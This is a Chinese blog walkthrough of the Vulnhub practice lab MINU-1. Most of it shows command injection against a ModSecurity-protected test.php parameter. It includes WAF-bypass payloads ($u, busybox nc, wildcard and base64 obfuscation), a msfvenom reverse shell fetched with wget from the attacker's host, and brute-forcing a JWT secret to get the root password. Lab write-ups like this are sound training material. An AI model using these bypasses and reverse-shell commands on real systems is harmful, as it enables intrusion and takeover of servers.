【甄选靶场】Vulnhub百个项目渗透——项目二十四:MINU-1(WAF绕过,JWT爆破)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十四:MINU-1(WAF绕过,JWT爆破)
靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月26日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、web突破

信息收集

namp [ip]

发现只有一个80端口开放,然后目前思路就只有web页面的信息收集,漏扫等,因为干不了别的

dirb http://[ip]
nikto -h [ip]
AWVS一顿扫

啥都没有,就不放图了,啥都没有,(dirb扫出来全是403,怀疑开了waf,因为正常网站全是403肯定有问题,被人为屏蔽了呗)唯一知道这是一个apache的中间件,这里提一个扫描的细节,我们知道很多的网站都用的php,所以我们可以单独扫一扫php文件,因为用的多,然后不扫html是因为那是静态页面,没啥大用

dirb http://192.168.3.88/ -X .php

发现了如下页面

在这里插入图片描述

WAF绕过

http://192.168.56.104/test.php?file=last.html
看到这个时候,我脑子里就两个词,sql和文件包含
然后就立即用…/…/…/…/…/etc/psswd测试了一下,发现又是403
这个时候我就已经很确定这里存在waf了
这里专门要说一下,因为这个靶场比较老,建议整个老版waf00f或者用老机器
扫出来waf是modsecurity
然后

https://www.freebuf.com/articles/web/184414.html
我先是搜了一下,怎个么绕过,这篇文章里给出了$u和;绕过,经过我的实验

$u绕过

在这里插入图片描述
在这里插入图片描述那就可以上传一个脚本,然后反弹回来呗

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.247.129 lport=4455 -f elf > shell

url中输入:

?file=$u wget http://192.168.247.129:8082/shell -o /tmp/shell
?file=$u ls /tmp/shell
?file=$uchmod +x /tmp/shell
?file=$u./tmp/shell

但是这里有个坑,就是
在这里插入图片描述
可以看到他文件大小是0,说明空间满了上传成功了但是里面没东西

;与二进制绕过

busybox是linux安装之初就携带的一个二进制文件,他带有shell,可以执行命令,很多waf可能也会疏忽,是一个思路

分号“;” 隔离绕过waf!
可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!
二进制文件的列表:https://gtfobins.github.io/
最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh -i
加入个 -i 就可以直接获得正常稳定shell!

&、编码绕过

1)直接输入:
	&/bin/echo nc -e /bin/sh 192.168.56.101 1337|/bin/sh
	不行,那就混淆一下:
	
2)第一次混淆输入:
	&/bin/echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTYyIDEzMzc=|/usr/bin/base64 -d|/bin/sh
	```
	会报错!再混淆:
	?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!
	
3)第三次混淆
	&/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTYyIDEzMzc=|/u?r/bin/b?se64 -d|/bin/?h
	还是不起作用!继续混淆:一些过滤器会禁止添加=&到URI进行请求。
	改&%26   ---URL编码
4)第四次混淆
	http://192.168.56.104/test.php?file=%26/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjU2LjEwMyA2NjY2ICAK|/u?r/b?n/b?se64 -d|/bin/?h
	解释:
	nc -e /bin/sh 192.168.56.101 1337   ---这个是有==号的不允许
	echo "nc -e /bin/sh 192.168.56.101 1337 " | base64
	echo "nc -e /bin/sh 192.168.56.104 6666  " | base64
	加一个空格就少一个=

总结
	1)知道了cat执行命令,那么用&符号:
	& 符号url编码是%26,结束并开始一个新的命令!
	2%20   ---空格
	3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK   ---base64编码
	(这里==也在黑名单上)
	4/u?r/b?n/b?se64%20-d是url编码的绕过方法:/usr/bin/base64 -d
	5|/b?n/sh也是一种绕过:|/bin/sh

模糊测试绕过

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 304 http://192.168.56.104/test.php?file=FUZZ |grep dir

之所以要筛选出来一个dir,就是因为这个模糊测试的脚本中有一个|dir,是一个重要的判别依据,file是类型,因为url中式file,所以说明他的传入参数类型是文件,这里使用file可以尽可能精确

在这里插入图片描述

可以看到|dir可以绕过

在这里插入图片描述但是在执行别的命令式还是不行,所以这个放弃
在这里插入图片描述

最终靠$u以及busybox绕过了

在这里插入图片描述

三、提权

uname -a
which gcc
sudo --version
sudo -l
无法上传任何东西,因为没有空间了
在/home/bob下
ls -la
发现了一个可疑文件,但是打不开,所以就传给自己本地
python3 -m http.server 8080
wget http:?/192.168.56.104:8080/._pw_
mv ._pw_ pw   -改个名
cat pw    发现是base64,那就拿来解密,发现有.这个无效字符,那就给他筛选掉,要去kali里面操作

在这里插入图片描述

1)base64
cat pw | base64 -d    
{"alg":"HS256","typ":"JWT"}base64: 输入无效
第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符

过滤点:
cat pw | cut -d "." -f 2 | base64 -d
{"sub":"1234567890","name":"John Doe","iat":1516239022}base64: 输入无效
发现第二部分是1~0,人名,还是未解析完!

cat pw | cut -d "." -f 3 | base64 -d
 ~y P      "k  1 ,  C  [}base64: 输入无效
发现第三部分是二进制!


JWP爆破

JSON Web Token(JWT)是一个开放的行业标准(RFC
7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公
钥/私钥对来签名,防止被篡改。 参考:
https://blog.csdn.net/guohao_1/article/details/89951178

在这里插入图片描述

在线查看: https://jwt.io/#debugger

开始破解:

git clone https://gitee.com/mmylzy/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

Secret is “mlnV1” ----等待几分钟
这个就是root的账号密码,然后就没事了
完工

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值